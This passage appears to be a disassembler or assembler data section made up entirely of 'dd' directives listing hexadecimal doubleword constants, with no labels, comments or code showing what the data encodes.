4C0B583Eh dd 0ECFC0068h, 0B72B8BBCh, 0EFA40058h, 3F54A519h, 7700CDE1h dd 0DBF02A90h, 0B26DC043h, 4F2F3A74h, 0AC3328h, 6FA3E33Bh dd 102B916Ah, 0CC9A7700h, 0EA987A52h, 0B8F8909Dh, 67C812C0h dd 0ED5840A4h, 6173F15Bh, 0E487AE03h, 0A3510C9Dh, 8D600045h dd 872B2B9h, 0A6003EFFh, 0B4882347h, 0C062749h, 3156D4D1h dd 8600C281h, 0FA6ABF70h, 14B155Eh, 0B8E4B0CEh, 2C2DA1C4h dd 0CC69003Ch, 8462581Bh, 0E90800BAh, 39A7634Eh, 87385256h dd 0B1F500A6h, 0B41D8D04h, 0BD580ECEh, 0C360AE96h, 67B7036Dh dd 0FA002E7Eh, 0CF561B84h, 311F9EFh, 8E9C70B6h, 0E80F9E60h dd 6D3A886h, 4011A7D0h, 0BE553EC8h, 14F6EC10h, 6883EA00h dd 253E9FEh, 0AFDE00F8h, 0C2333C7Ah, 2CE960BFh, 0AD83009Ch dd 62BA8273h, 0D0DF39h, 0C2DB2504h, 0F700C013h, 2EE1B9D1h dd 0BE16B7h, 0AF41807Eh, 0F55AEAA0h, 0A817A53Dh, 0BA282867h dd 0D0032477h, 0A98AD3B8h, 0B5BDA190h, 610F7885h, 0BAF480ABh dd 0BB4CE4FDh, 0F7B8009Ch, 6338A05Dh, 27715BCh, 9601D087h dd 0C2D2D0BDh, 0ADEAD035h, 4F82331Dh, 0FD276102h, 80C4A05Eh dd 738FEBDh, 0B87FC039h, 0B3B7C15Fh, 1D218030h, 0B92CBA33h dd 0B4A1C620h, 0F5004842h, 4AECA0B8h, 0CDFA9Bh, 0C22B3FB6h dd 2EFCC552h, 0FD233D00h, 0C6B9C7CEh, 69A80679h, 8660F9Ch dd 0AEF32900h, 5B3D2F9Eh, 0A3489CE7h, 7E0F7004h, 6610A262h dd 14687013h, 90E22DDEh, 73FB020Ch, 0B7008E78h, 662043E0h dd 1E2BD1E5h, 0B1E4DCA8h, 11721F29h, 9911E1C7h, 1D9500DEh dd 5DEE9Ah, 4ED4C93Eh, 0F704060Dh, 3DA11100h, 0EF1DD2A0h dd 0C80C072Dh, 0F008F30Fh, 0AEBBBD34h, 0D100E87Ch, 0ABD7E31Ch dd 2E8F727Bh, 0C4073Ah, 542096EBh, 0A0389EBCh, 16F91F97h dd 0CC6DA101h, 33DC1ADCh, 40B05C04h, 58437000h, 7DEB88FBh dd 90DE40C0h, 7590194h, 2520CB5h, 4189D08Eh, 220082BEh dd 99059126h, 75AD61E4h, 3C845C12h, 0A9A57D00h, 3002BE45h dd 0E438B400h, 2AE7266Dh, 413C0055h, 0B0BA47B1h, 0D30027ABh dd 57B7A99Fh, 2253C8h, 0EE933A2Dh, 46CCEF45h, 526F1D1Dh dd 26CCA9D5h, 7F653051h, 7EA1680h, 1E194B1Ch, 0A7468BFCh dd 87613C00h, 9205D108h, 0DE4EDBD4h, 5766EC44h, 79C2CCCh dd 39BB607Bh, 91AC3023h, 8507E913h, 185B4BD5h, 130B287Ch dd 654257h, 84AF635Ch, 830010B9h, 9370D55Ah, 735CD0CCh dd 8E49035Bh, 77B8DD54h, 0F6F2E1F0h, 0C394EE07h, 0B4F016AAh dd 0C0755F0Eh, 0ABD82980h, 0BF00E154h, 26F46813h, 0F5B5AE6h dd 0F62E95A4h, 4E377620h, 9F2ED5C4h, 6600B07Ah, 19F38B73h dd 0A31E26BAh, 233040E8h, 58C02584h, 6C11031Ah, 0B8FCB3h dd 8CF249E3h, 0C17FBDBh, 3D81CA00h, 0DE820E6h, 94A613B6h dd 8FBC4FB0h, 0EED42F60h, 0F106F0A4h, 0D5A6920Dh, 653B3D18h dd 7F93B581h, 0C9059F79h, 0A6E03038h, 11411A01h, 9B3F031Bh dd 9D44C0h, 96E2E7CFh, 552CD737h, 0EBD8AC00h, 1BFE57FDh dd 0A97F02A7h, 2DCB7A0Fh, 0F72A3600h, 0EA200BCh, 0A94E9BEFh dd 7E033387h, 0A059022Bh, 0C80CDACAh, 161A520h, 0F25E791Eh dd 40710E36h, 0E01B8CC4h, 9F02EAE0h, 78DF5C5Dh, 0F065E128h dd 484AAEC4h, 97ABDA9h, 0B4AD41BDh, 0B0D7FC60h, 9F5C4E0Fh dd 6388AE72h, 0E8B83A21h, 177652h, 0AC9129E4h, 83BCC051h dd 384D3900h, 62EEE168h, 15F8B6h, 4C18F090h, 6B3362Fh dd 7A47148h, 89704A8Fh, 2CB040E9h, 0F752010Fh, 3A5FA0C6h dd 200C238Ah, 0C9A91270h, 6168466Bh, 8E27F157h, 38C80152h dd 289E3443h, 0A5CB43EAh, 7C001869h, 0C590865Bh, 0F3E7A3h dd 760E9945h, 655C3870h, 6AF89100h, 0D50B972Bh, 0FE36006Bh dd 23FD875h, 180AE5D2h, 883D3E40h, 0D6495F03h, 50A98D5h dd 9CD98E7h, 0EAA356A2h, 0E124880h, 0D7002B19h, 0BF3A04DBh dd 0F2C6A0A5h, 2FEA3E87h, 4F18AC03h, 0A4E06482h, 88A86E3Dh dd 0C80232A7h, 0AE305744h, 0C515C1A5h, 4C3111F0h, 0F16065DCh dd 3FFC0A5Dh, 54B4690Fh, 0F0092Bh, 0BE2806E8h, 5A6D00EBh dd 0F98ACBF4h, 0C000E45Ch, 502BBCBBh, 8581B1h, 0F76FB03Dh dd 9925934Bh, 0ED188001h, 21775522h, 0E30FDF8h, 0EB56D35Ah dd 0DB791A40h, 121DBC8Ah, 2CC76445h, 0F8AEA4BDh, 0FA03D14Eh dd 138400CBh, 4CEE992Fh, 66F0511Ah, 0D7FF820Fh, 701CC037h dd 340E647h, 8C6C537Ch, 2ED8E116h, 5C04C3E9h, 0B227DBABh dd 0EBEDC80h, 24870075h, 0A645ED70h, 231F3F76h, 4080310Bh dd 7E24946h, 0CBA4075Dh, 1666A7h, 0AF33A8CFh, 0E771F924h dd 8A759F00h, 53F741h, 0B1CB4A3Ch, 1373437Ch, 5A2FF600h dd 74E9A4BEh, 80A71C67h, 0E66C00CEh, 0E8C83B72h, 0E7C70C00h dd 2562C189h, 12FE330Fh, 1CD8EC11h, 0D104BE47h, 3EF5027Dh dd 21BFD0E1h, 6A015600h, 7AA417C9h, 28008E7Dh, 0DA91F8CDh dd 6529C7h, 0B33A6348h, 0DDBC471Eh, 0F004A70Fh, 0E2AB8075h dd 1F7EC5h, 6915C31Ah, 3AA2AAC7h, 2C49AE01h, 0E0144CF4h dd 7CC076D8h, 5D240009h, 0B86470CAh, 6A00E9E2h, 8B085C87h dd 2DF9D1h, 1D9328ADh, 9DBBC37h, 0D7015902h, 0C04D9F84h dd 9C2B9Fh, 81E70D77h, 3AC9466Ah, 750EF4B2h, 0C268E8DDh dd 0F442329h, 3156A581h, 5FB4202Dh, 0C00524Eh, 10E24DACh dd 75CB0014h, 1B36080Eh, 0AA598182h, 0EA2507BCh, 0DF30CD68h dd 485C1h, 81E49D23h, 0D3D692EEh, 832D1539h, 9395EFC5h dd 0A725D0A4h, 7DC71334h, 0E36D0040h, 0A67861Ch, 9E63300h dd 3063BBDAh, 1C2DFF47h, 0F9E34900h, 3B36E19Ah, 53BA2103h dd 90ED96E4h, 9602591Ch, 26B10028h, 9FE9923Eh, 9B46EA03h dd 0E0061D99h, 48F953D7h, 840E408Bh, 0CC09555h, 7EF43012h dd 76D7A30Ch, 1EB8DBh, 3CD8A16Ch, 0B395C953h, 50268926h dd 81D40D00h, 0EEC860C5h, 0BA380066h, 27582B88h, 9900CA45h dd 0DEA18C25h, 30A3Ch dd 4BDD11FEh, 1A922F56h, 46B0681Ch, 6305D300h, 94BD7Eh dd 975F7C14h, 0D9626B12h, 23CE13Bh, 0AE496E59h, 0F94F0247h dd 0B5BD94E8h, 725148h, 9A15C1D2h, 0DC1F0Dh, 0C75B49B1h dd 11C0B428h, 31D0D501h, 5E1AB6D9h, 495DF0h, 0E7948F7Fh dd 72BEADDFh, 62D7E0A0h, 0C8BF82Ch, 8093A68Bh, 0FF2C4699h dd 17E47BAAh, 490F90h, 4F51DCD4h, 0F10307D8h, 1530ACAEh dd 0BA7E8093h, 5EE300D0h, 364966DAh, 5F02B461h, 0AF966989h dd 22B6C1B0h, 0B54024h, 0DAC4A098h, 0C2A20A5Ah, 337423E8h dd 8CDE3A0Dh, 22F0281Dh, 0A5F40459h, 0A28ABE14h, 900C21F4h dd 98871DB0h, 1E8F009h, 2E69CC38h, 73FDFDCh, 0BC26EAADh dd 7BB5C090h, 1A1EB8BFh, 0C21D3D39h, 4C28A0DFh, 0B7E68B3Eh dd 909C68F6h, 2EE301B9h, 7E826929h, 0C840A2B7h, 0E0203B61h dd 91F0993Eh, 2519C5A0h, 0A12800F9h, 0F8B826Bh, 9E91ED00h dd 63557029h, 18C70037h, 9CA9FF5Dh, 81E4833Fh, 10415F00h dd 7A35399Bh, 0EEF183Ch, 0FD43E950h, 0BF84F000h, 1F96C086h dd 536A280Ch, 0E9AEA8Ch, 0C602A63Eh, 1A0F0090h, 7FC3480Eh dd 56321208h, 99C0014h, 8E795593h, 58B2AD30h, 1EFC250Ch dd 3D011FC4h, 575E358Ah, 516D80B4h, 0E463B89Fh, 4CA1FB00h dd 77817887h, 82EC13F7h, 0E244930Fh, 0F01B42F1h, 5F01D5A1h dd 2C76B07Ch, 0C1873FB6h, 0A0BA070Fh, 93CDE8ADh, 0F1283000h dd 0CF54BFC7h, 8A90857h, 0DE80C40Fh, 7128E431h, 845A0080h dd 68F0702Dh, 273C904Dh, 0B70C827Ah, 6008295Ch, 989973E2h dd 0BD803A25h, 3834A200h, 9DB5E02Fh, 0F097A005h, 0D040A366h dd 3051FA79h, 887C075Bh, 0E62FFB09h, 1D05A94Ah, 0FC0F1A6Dh dd 7E3B90A0h, 0B00100DEh, 9186D3BCh, 9618FAA1h, 0FD51B466h dd 25EC00A7h, 0FF6CCCC6h, 0B7128D8Eh, 990E1B71h, 68B8C938h dd 0A067BFB0h, 11CE1Ch, 0B8744544h, 0CB6B15ABh, 0D8A61D00h dd 0C67D7602h, 0A9D20005h, 43D9C69h, 46000DEFh, 0C08DE02Bh dd 4C3A1E57h, 680016BBh, 0C46B1BBFh, 692CB4A1h, 460034E0h dd 0EAD76D57h, 229D07B6h, 0B18F09D3h, 0F8F4C089h, 957CEC4Ch dd 561E40B5h, 0F9770073h, 890A7021h, 2C60A794h, 48643730h dd 7CED71A4h, 66E8A6h, 937C81BEh, 900F70FFh, 116AC800h dd 8D26FEA1h, 0B5674CD4h, 0D389DA00h, 0A45974EBh, 0D96EE22Eh dd 0C6D41300h, 0FA436Ch, 0FF0D6BFEh, 0BC458C15h, 1040FD01h dd 76C45666h, 3CC98FCCh, 0B3007F3Bh, 57803AE2h, 0DD036603h dd 0DB534291h, 0F786005Bh, 0B2955868h, 7300EA02h, 2FD9C1A6h dd 571A47BBh, 0B78A043Ah, 0DD042114h, 0FFC30D44h, 0D243E01Fh dd 0B5C800F2h, 0ACF8D39Eh, 98019D47h, 0D31697Ch, 38836D8Ch dd 0C908EF43h, 627C284Ch, 224AA529h, 5C2272A0h, 211B240Fh dd 0A4124BF0h, 0F1BA2883h, 14177928h, 42491222h, 0E16811D8h dd 65086321h, 84FC9045h, 5F48E38Dh, 244EB142h, 0FBBE21D0h dd 0B106B12h, 6C148858h, 88FC3988h, 0DD8804A7h, 8088956h dd 0D6FF45B3h, 88405110h, 0F688712Ch, 0AF8CA995h, 55791441h dd 28834012h, 29109EEDh, 0FE0007FBh, 24250F81h, 0D6004AC1h dd 0FCBBAB88h, 0D2579Eh, 5E82C3FFh, 7D7A17AAh, 0B9920EC0h dd 3EDFC66Ch, 970080D3h, 0B1BF1E41h, 300001ACh, 86483345h dd 2590B71h, 8185057Fh, 176096DDh, 0D73E1B7Ch, 0D0D80387h dd 0C8F43358h, 558AD6h, 73DAEA2Eh, 4E895E7Bh, 0FBD35700h dd 98323572h, 12900079h, 0EC5D4D0h, 974CAEE4h, 0CA1B007Bh dd 2B91FAA7h, 0F5F10E8Ch, 0DF0081FBh, 1122A8DDh, 0DBD78E00h dd 4D3739A5h, 6B100013h, 0C41CC37Ch, 0F81C1852h, 33409083h dd 0D7B2E49Eh, 15EFC97h, 668F9CADh, 0EE29B9B1h, 0A7B47048h dd 42335C00h, 2658E969h, 737F224h, 1FD79314h, 5BE583ADh dd 33BB4EA8h, 5A27A00h, 0BDB15E28h, 7E77E4BFh, 0A43F00B3h dd 0FFB048A7h, 3A3B1B91h, 6436004Ah, 7BB42A9h, 0AC11001Ah dd 0DFDD70BDh, 0D20E1B96h, 0C0CF0C5Ah, 0F1B71636h, 0A4FAC9h dd 49CB7F7Ah, 35426448h, 513880FDh, 0AAE1AF2Eh, 0D25B26h dd 0F9C981Ah, 57005332h, 0E4A542F1h, 7D382F4Eh, 669003Dh dd 3C896BC3h, 33006637h, 6186A732h, 1873A917h, 0D8D91576h dd 53004CCBh, 6AC1D09Dh, 40BD81h, 0ABB9A7C9h, 0EFE00A50h dd 7D3EB300h, 0AC2F6415h, 0E8990014h, 0F2AED1B6h, 7100D504h dd 8CB9C5FFh, 716070A8h, 2A4A0031h, 0CE41853Fh, 4B022CFAh dd 0A4569C2Eh, 1A50C02Bh, 15000A8h, 0B3A7EB71h, 0EDE0AFC9h dd 0CFD7D428h, 8BFC7E00h, 0F78ECA8Ch, 0CBDE00A8h, 0F564EB1Ch dd 0A47CE556h, 0C6618400h, 4ADDE254h, 655D032Ch, 68A1B3AEh dd 8D86F5B0h, 0F7E4A309h, 0F8DB08CFh, 8B80C51Fh, 3748502Dh dd 189200D9h, 0FDDB849Fh, 311F3633h, 3BC03954h, 563E4619h dd 0A905005Eh, 0B71ABDAFh, 0FC12F183h, 1800714Bh, 88B66518h dd 3C5A00AAh, 5CF2FF10h, 0BA0EBB4Fh, 0C078C930h, 1DCD2F35h dd 8FC50046h, 0DB68785h, 0E7EC810Bh, 95C4548h, 956F52h dd 8BF09A4Ch, 5C160088h, 1D0A3624h, 51002E50h, 5A636748h dd 0A7B5EDh, 81823787h, 0C23A7B3Eh, 0E2265C00h, 275952ECh dd 5EEE4C5h, 0D0A16497h, 14B040ABh, 86F2B0E9h, 26A7581Fh dd 0C61027C0h, 4BEC84h, 35402413h, 0D19E7B51h, 81793F3Fh dd 0D61AE91Ch, 0CCF4063Eh, 1EBD07C6h, 62390Eh, 0FE618211h dd 7A28400h, 0D7F64FF2h, 8CD8126Fh, 0B19800B4h, 0CC20EE73h dd 0F2BCE700h, 0C53F503Dh, 34B04Ah, 0E06AC08Fh, 12392CD1h dd 5400317Fh, 7C0D2283h, 1489ADAh, 5EE006AAh, 0FC6E95EEh dd 0E1F83332h, 9263Eh, 3F7AB74Dh, 3F894B77h, 0B30092EAh dd 0FBF939B5h, 59004FB1h, 0E3730C6Ch, 99669C7Ch, 8D5C8064h dd 0C5268E76h, 0A20EE209h, 0FBD8007Eh, 0FA1750BCh, 0CAC90734h dd 20CC61E3h, 0F178EB3Ah, 23D6D203h, 0BFECF819h, 0EE101260h dd 2948003Ch, 31010F32h, 1A058B98h, 32A50FBh, 0E1AEF500h dd 828679h, 0D416260Dh, 0F9FBC347h, 0C7576100h, 3AE01078h dd 0B8E9079Ch, 0C0D3B35Dh, 0FC401511h, 0BE622807h, 0F74A7A39h dd 6885E300h, 6A7C4Bh, 4E071D36h, 626D9BA1h, 0DB249D02h dd 60777602h, 7B53726h, 0CA5112E8h, 7388B1A8h, 0B9213071h dd 704D31Dh, 0E587B2C0h, 7EBEADh, 0CF240809h, 5A782762h dd 80481101h, 0A192E13Fh, 0D300A228h, 7FAD571Bh, 147CF364h dd 4AE3F605h, 5180AEF0h, 3966A01Ch, 85016FF2h, 0E1EDF439h dd 3B1EC07Ah, 0EF07E87Ch, 998E669h, 0A88868E0h, 864905CCh dd 363B3C9h, 73D77FD4h, 855330EFh, 0D031F4Ah, 0EBC6F3B8h dd 0C0F1A048h, 41ECB4h, 0D27BEFD3h, 49214C22h, 2C8E58h dd 2F023667h, 0B2524h, 0C21AEEB5h, 0F84D5F75h, 553CE000h dd 0AB1018E5h, 72CFCD3h, 26610BD7h, 778300E8h, 4414BC9Dh dd 0BD7D53h, 2A388746h, 12CEDDB0h, 0F5C6162h, 30A0E354h dd 0C827F003h, 0D491F700h, 6F3D95ADh, 1F4D39AEh, 8C5A9880h dd 0F7DBE959h, 370704FEh, 136B89Dh, 625240EFh, 3876B6EDh dd 6B00953Bh, 3FB2935Dh, 283FEECDh, 3BB32C36h, 94DBFF05h dd 8403481h, 5798D0E3h, 0C79B07E2h, 202D3479h, 78555DF2h dd 44AE3500h, 150AD8A8h, 33890920h, 1877AFDh, 0AF2DC1EEh dd 1C6BF430h, 0CBBC7B00h, 2B101D62h, 3DBECA1h, 1B45F761h dd 4ED89D4Ah, 5700DC31h dd 8DA33E1Fh, 0CA1A38h, 93F5AE2Dh, 0D72AC807h, 79448458h dd 8ABE2B00h, 7646B2ADh, 0B0750071h, 0E61AFF9h, 0FC00C667h dd 558B6CF1h, 0A48694h, 9D5FFFEAh, 41379911h, 0B314E190h dd 0B4752Ah, 0AC8A8C74h, 0E221443Bh, 19F672h, 0E3EC6BB7h dd 0F7A3E259h, 357E1B00h, 551FDE11h, 94FCC5h, 0B98E2599h dd 3F024516h, 0DB466A00h, 0D5BEB465h, 87AE006Dh, 0ECC40885h dd 4C982672h, 440017E2h, 4D512C13h, 9E46D9Eh, 30C9CF12h dd 5D154880h, 3C0162E9h, 94313F21h, 16D418FBh, 75053E22h dd 0A6DE7000h, 0F5829B34h, 4C87313Ch, 85D0B4Ch, 4C109027h dd 14829899h, 9C2AEDC2h, 0F6CCD00h, 0B84F9DA6h, 7DA239h dd 0B30AC118h, 307A8CC6h, 0E1170FAh, 223EAFDBh, 50208092h dd 0CCE5ED99h, 89E10058h, 0AC0F3978h, 7700A761h, 81251551h dd 0E0B8A90h, 0B5A16ED7h, 9DC5C461h, 0F4D4D81Eh, 1174BE00h dd 13085CEAh, 0A1463980h, 0A8159080h, 0AE3DD7A3h, 0C7C32400h dd 0BFDBCF30h, 3A770292h, 0DA610AC5h, 6A244D60h, 893E500h dd 1C0D8DD7h, 1AC301EFh, 5F8EE050h, 510FF827h, 0C0EC2C1Ch dd 0BD1B05BDh, 80803DE9h, 0EEEFFCE7h, 2AE10F14h, 9B20B829h dd 3227F55Ah, 9230D100h, 1667F83Eh, 0BC26008Dh, 0A9D3CBDDh dd 0D03218Fh, 57529F34h, 0A3A1D05Fh, 0BCD150AAh, 0C0E7EF01h dd 0BA53F3F0h, 0BE6F00C8h, 27B0513h, 1D02153Eh, 933B24FFh dd 71D860B5h, 17FE8C8h, 806FFD8Ah, 0D04EBB94h, 57A3126h dd 32C21F00h, 577DDF87h, 41AE02E1h, 0BA99ABE8h, 53218760h dd 0DA96C800h, 3B2DFA63h, 0D7050025h, 899D089Fh, 620E07D0h dd 0A6227E0Ch, 88770Eh, 366114FDh, 0C01AB1BFh, 0DC16C2Ch dd 0E0F61E0Fh, 0ABAE2A02h, 727F00B7h, 0CF901BA7h, 8301C8ADh dd 27638038h, 11C8948Ch, 0D74B00D1h, 0F069B119h, 92006E0Ah dd 0F96CDAE9h, 7840B20h, 7C619C93h, 0A6C54017h, 9D01D54Dh dd 0EAA9731h, 0F9305C70h, 0C1CF056Eh, 0C04A8FB3h, 0C3BBE1A4h dd 0EE3A6702h, 0E0F2D816h, 48B0E8h, 0BF937919h, 0F837B660h dd 0FDDC8600h, 4406325Fh, 6A641F83h, 816E0043h, 0D64BB2F0h dd 799D3Fh, 932B8717h, 396BDADh, 0C26A9842h, 0D6E8544Bh dd 55002CB0h, 30DC77C4h, 0F66F9Bh, 1ADAF262h, 0D8B29C52h dd 0E02F0E00h, 9E6EE949h, 0D20700CBh, 0FC3D944Dh, 0BE7FE742h dd 0E400D9ECh, 1E3C46D8h, 2FDD0Ah, 57C76968h, 4167919Fh dd 0CAC34900h, 0AB6E6CBFh, 5FBD070Eh, 809AED4Eh, 0F18674E9h dd 18628900h, 3E278046h, 7B6F01EFh, 8E288590h, 0F5DB2038h dd 0D3687700h, 8D1BEB24h, 61230086h, 0DCA30553h, 0C43ADD39h dd 67AB80F9h, 86A1BAF3h, 0C940054h, 0D9E6E9C9h, 5200C11Ch dd 1E5015E1h, 0A53936h, 86826D4Bh, 19263F0Fh, 1175F100h dd 0A0E2AC23h, 9F62009Dh, 0C18DC285h, 0F82C6FBEh, 0C8004EE8h dd 0C5DF6A3Dh, 5024004Ch, 14219B10h, 4F00D9ECh, 1872C7A0h dd 0F9CC2FBh, 0E01DA10Ch, 75EB1380h, 593EBE85h, 0C89AAA60h dd 0F9F4FE38h, 6989D700h, 0A0B3E320h, 373D0723h, 0D5512743h dd 8D9C072Dh, 0D93F1087h, 0C5003B67h, 5A29DD6Eh, 91F09Ch dd 32C13182h, 0F65FD28Bh, 158C7D18h, 4E9838h, 5DA35E2Ch dd 6889657Ah, 0B6A0A900h, 88294B4Dh, 116B61FBh, 0E48366DEh dd 0E200065Bh, 7E441E05h, 529CC1h, 2964E15Ah, 0E3600B1Fh dd 35C0471Eh, 0D33696C0h, 55579Eh, 7C58BA1Dh, 43D9E2EEh dd 49CE6200h, 0D4142054h, 64E4B2h, 0F26DA7B1h, 619A377Ah dd 0E00E0D03h, 9086BF9Eh, 76AA4127h, 79E200A4h, 7FF64F84h dd 0FB00B0F7h, 19631D57h, 0C0301FE1h, 6BE74999h, 320DF377h dd 78411B6Ch, 1FB2E0h, 0C034279Bh, 0A1F725EDh, 321E20ECh dd 708F8436h, 200BAFA9h, 44ACAE7Dh, 0FB470FD1h, 0F700D86Eh dd 8EFCD718h, 8DFA3000h, 7A525FB9h, 0E11F02C4h, 0D5D4504Dh dd 5AA253C0h, 0E02C4900h, 2684FEABh, 0B81A0065h, 0BF0C4363h dd 0B900709Ah, 57E07424h, 1F2442Bh, 92CDA306h, 609DFCE2h dd 9600F4B5h, 5FB803C1h, 3B554FBFh, 0F80C9C7h, 0B51F216Bh dd 0F4008B88h, 0AD4D33C0h, 728FE517h, 0CBBB503Bh, 7644094Eh dd 0A02037A2h, 614ABAACh, 75289D01h, 0F696636Eh, 40AC30h dd 51CC8988h, 2A048D2Bh, 0F5BD4600h, 0C852FF5Ch, 0EDC7930h dd 3F6165C5h, 0E0430D60h, 9B008ECFh, 1799381Fh, 5F48DFh dd 0F9A3AB29h, 24A1F536h, 0E2765C02h, 409C2C58h, 0CD576Dh dd 22F6AEC1h, 974B4F6Bh, 0EE6DC300h, 5296DA42h, 0D980039h dd 1AC48410h, 1D3A656Bh, 0E4E200D6h, 98CA0314h, 3CBB77C0h dd 0C10088ADh, 290FA641h, 77014F2Ch, 0AE63CD82h, 0D0D3F2A4h dd 0A74330h, 0CB6DA533h, 2DA1EE03h, 3B8C0600h, 0C8C414E7h dd 61E5000Dh, 3E936E1Eh, 5F0026F9h, 901A15CFh, 1E048E6Ch dd 80DB6AC1h, 13A87EBCh, 0BE0FF7F1h, 0C4E38A80h, 0D0E89305h dd 4A0FBD00h, 2DCF64C3h, 0AA529660h, 305BB0h, 0EF6AECCDh dd 0D8CE7103h, 8DE3BE00h, 0DEFD14B8h, 0A9E20F3Dh, 0FE839C90h dd 2DC0A499h, 0C1DD1EDh, 0EE00272Fh, 0AC09AA6Ch, 97811EBBh dd 966E0Bh, 0B4A1A584h, 0B3009EBCh, 0EC0FC19h, 56DFF4h dd 18139D26h, 0A0AF89A4h, 68007BEAh, 0FD1D928h, 7219D4h dd 0F190B676h, 0EBC23A2Dh, 0E9AF0D00h, 6D52EE09h, 89320E01h dd 4020C77Eh, 8B94384Ch, 466B700h, 6D36B309h, 718000FBh dd 0FE2058C7h, 300056F5h, 0CCC15E1Fh, 3C380ABDh, 0F61426h dd 5F437202h, 0C53C7685h, 0F1D17A00h, 0C8B0D96Ah, 77B100F2h dd 4A82A2E7h, 92754F89h, 3030490h, 0BDB9E37Ah, 3115909Dh dd 4B5702C6h, 637866D5h, 0EC4674C8h, 5F443D00h, 9419CFF8h dd 9599015Eh, 12AE2587h, 7A2330E2h, 0FF8E4200h, 9EA8E70Fh dd 18B100ACh, 7E16266Ah, 0F4009CECh, 0C33C988Ch, 0EBD77Ch dd 0ABD0A378h, 0E1755DCCh, 50509E4h, 0D785DA0Bh, 733001C7h dd 62B3046Bh, 56B141E0h, 0A3B61A01h, 5ABA5030h, 0E41C0FA2h dd 63B97FA0h, 4B72ADA1h, 37C15701h, 3A81E0E6h, 0F4F1EE70h dd 0A40F0BBEh, 0BC0072DFh, 3673656Dh, 43197B00h, 6EEC455Ah dd 59F2C4h, 0B121E75h, 39D6D1B9h, 0AB1B1F05h, 3E809B6Bh dd 0B062253Dh, 1DE11CC8h, 0DA30C1BEh, 200FC0B5h, 0FC0774D3h dd 51808B8Dh, 0EF1EBF00h, 0DBD700E5h, 0BD1C4926h, 0B000D3BAh dd 9C74EE1Bh, 4F723h, 0DF73F33Ah, 0C4E6161Fh, 2E247801h dd 1386285Ch, 2A123880h, 0CE7B9EFCh, 551AA300h, 78E95B5Fh dd 4ED90016h, 26CB8771h, 0D400341Ch, 0B04D66A1h, 50ADB617h dd 14A4F7h, 0DE105629h, 7CBD7A74h, 0ABF3BA01h, 7531D64Ah dd 4A511C0h, 0C1A48E21h, 5B5CD3B2h, 2631C680h, 8C0017F8h dd 0F0446795h, 5C76B2A5h, 3015873h, 741E143Ah, 693860C0h dd 98567104h, 60C09F28h, 1EF4A619h, 40D68F53h, 0DD9257F3h dd 0D000B1E9h, 0AA49E162h, 9AB8B6h, 0CC343DC9h, 9E791C22h dd 1654691Fh, 0ED7280B9h, 57D27E70h, 18B0B2h, 0C9210B0Ch dd 0C3588D88h, 0DE5Ch, 1AFE90CFh, 163213BAh, 1F7C5404h dd 0A4A50064h, 0F0799753h, 46408400h, 0D932EE3Ah, 0F8360041h dd 0A7A0959Ch, 0F33EF067h, 9E24812Eh, 0A1410BF5h, 0BCC49AF1h dd 0B8CB812h, 407D8B20h, 0A8930081h, 0B250604Fh, 8C0CCE0Ah dd 0A18284D3h, 0E02E2292h, 38402148h, 0D98123ADh, 7AC155FBh dd 80B2C869h, 0C7EE4200h dd 754A0CF4h, 0B25676A3h, 98E60018h, 0BCF28F88h, 9B7C0BB4h dd 0C181400h, 85C8B224h, 2B8712F7h, 37100097h, 5ABFD0A5h dd 0A30BE004h, 70830178h, 0CC0C581h, 48AF696Bh, 0F1006B2Ah dd 9A0378EEh, 0EF00CFE3h, 0F9C6A175h, 7734318h, 0AE6F04E4h dd 0EEB57199h, 913720B7h, 6C597719h, 63F82B96h, 7EF90067h dd 295F04Ch, 40C0FAA7h, 117603D3h, 0B9550122h, 44BDA2A1h dd 0D1A7DCF8h, 0DB751800h, 8102C584h, 0F3741C5Ah, 4A544179h dd 0D4CD13E1h, 0D507051Ah, 0A18F2437h, 0A709E3B0h, 0B0BE3FACh dd 140C0072h, 128138F8h, 0BC9871CBh, 0EC0F1F00h, 5EF67B8h dd 291C002Fh, 92B49EE1h, 530004EDh, 0E3EE0C58h, 3F7568h dd 41CEC73Eh, 0F0892349h, 94008D7Eh, 2B78A836h, 9862B45Fh dd 0AAF074h, 7BDD40C0h, 3C1E500Fh, 0D93B271Dh, 0AD308744h dd 0ACB8A80h, 0CDE101F7h, 607EC3EAh, 5C50E83Ah, 8A0E7C00h dd 0F821E8D0h, 0D12300AAh, 0A2A9549Eh, 7B4804BFh, 867F0050h dd 494779FBh, 2FED003Fh, 0E39748D6h, 8C0391A9h, 0C92B6DA8h dd 603ED217h, 7730265h, 909CA587h, 2C6AC0CFh, 44B8C245h dd 0EC7B5109h, 2350003Fh, 2654C5FAh, 0B877DBh, 25A11142h dd 0EF1856CDh, 819BF98h, 0F09B5DE2h, 8D9D1701h, 0CC694587h dd 0CC98E856h, 9B53Ah, 506E3BF7h, 0AAA42h, 0CE39A2FDh dd 0DA2FC14Dh, 0AF538D00h, 901BA11Dh, 0EE8F0069h, 0A8B9A5E7h dd 0E898359Fh, 0BE9AB600h, 32945A82h, 0EDB70C9Eh, 0C689998Eh dd 0DBFB4704h, 65C04D6Eh, 1D57F9h, 94A75A80h, 41CD17D9h dd 0C007E07Dh, 14FE52D4h, 0F51545B0h, 27CB03FFh, 0A0A6DA4Ch dd 3B58B390h, 0A3D02318h, 7FB549h, 83E1F69h, 1B749490h dd 4DAC1000h, 0D0F1BF79h, 4AE0E08Eh, 54800035h, 0D32ED5Ah dd 56BA280Ch, 5038491Ch, 59649544h, 3C01640Fh, 244D238Bh dd 0D307D028h, 1D83C702h, 61BFFD3Bh, 7DE49208h, 0F81A0022h dd 0DA17FE51h, 0F0002644h, 2DCE65F2h, 0B85F0EC4h, 25948005h dd 0C5D90099h, 0E4EE3534h, 48C0C18Ah, 97881FCFh, 9BB5A318h dd 80F99ABDh, 0C03D8F8h, 75DF03EDh, 52012548h, 6ED7690Ah dd 5E0CB87Fh, 3E8749B4h, 85019218h, 5CA5A8F0h, 954C2047h dd 8FC2720Bh, 0CB1C01CAh, 0E5D012CEh, 5AF52A18h, 61409880h dd 0C6850BAh, 1814384Bh, 1921511Eh, 437116FDh, 568300C1h dd 0C54879C6h, 9CEBE0C4h, 5B91DB23h, 20BD44C7h, 0A646AA30h dd 348D849h, 0C3F7F8DCh, 0F66DB893h, 0A47B0240h, 80883B5Ch dd 5A90D480h, 3C0030EBh, 0C08E64DCh, 71C6589h, 27AD52A8h dd 0FAF870C9h, 6700F1A3h, 36C2DF2Dh, 1EE063BBh, 408C2668h dd 80481752h, 891D2595h, 0F180CDE7h, 0AD927D85h, 0CA41C060h dd 0B61B5B20h, 0A8584D00h, 0FCB2255Fh, 0D2082CE9h, 